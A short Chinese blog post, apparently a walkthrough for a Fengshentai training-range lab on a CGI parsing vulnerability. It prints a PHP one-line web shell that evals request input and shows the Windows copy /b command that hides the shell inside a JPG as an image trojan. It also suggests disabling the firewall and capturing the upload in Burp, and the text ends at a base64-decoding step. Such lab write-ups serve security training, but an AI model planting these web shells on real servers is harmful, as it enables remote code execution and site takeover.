

封神台--CGI解析漏洞

原创

[weixin_47757121](#)



于 2021-06-09 17:14:58 发布



115



收藏 1

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](#) 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/weixin_47757121/article/details/117748414

版权

- 首先准备一个木马

```
<?php eval($_REQUEST[a]);
```

REQUEST: 请求

- 首先是进行图片马的制作

使用windows中的cmd：copy 1.jpg/b+.1.txt 2.jpg（有的可能被检查出病毒需要将防火墙关闭）

```
C:\Users\m1385\Desktop\图片一句话木马>copy tp.jpg/b+yjh.php tpyjh.jpg
tp.jpg
yjh.php
已复制
1 个文件。
http://blog.csdn.net/TimeOldman
```

用记事本查看图片是否写入马

- 上传图片的过程进行抓包，点击保存去burp进行观看



- 将图片进行base64 的解码

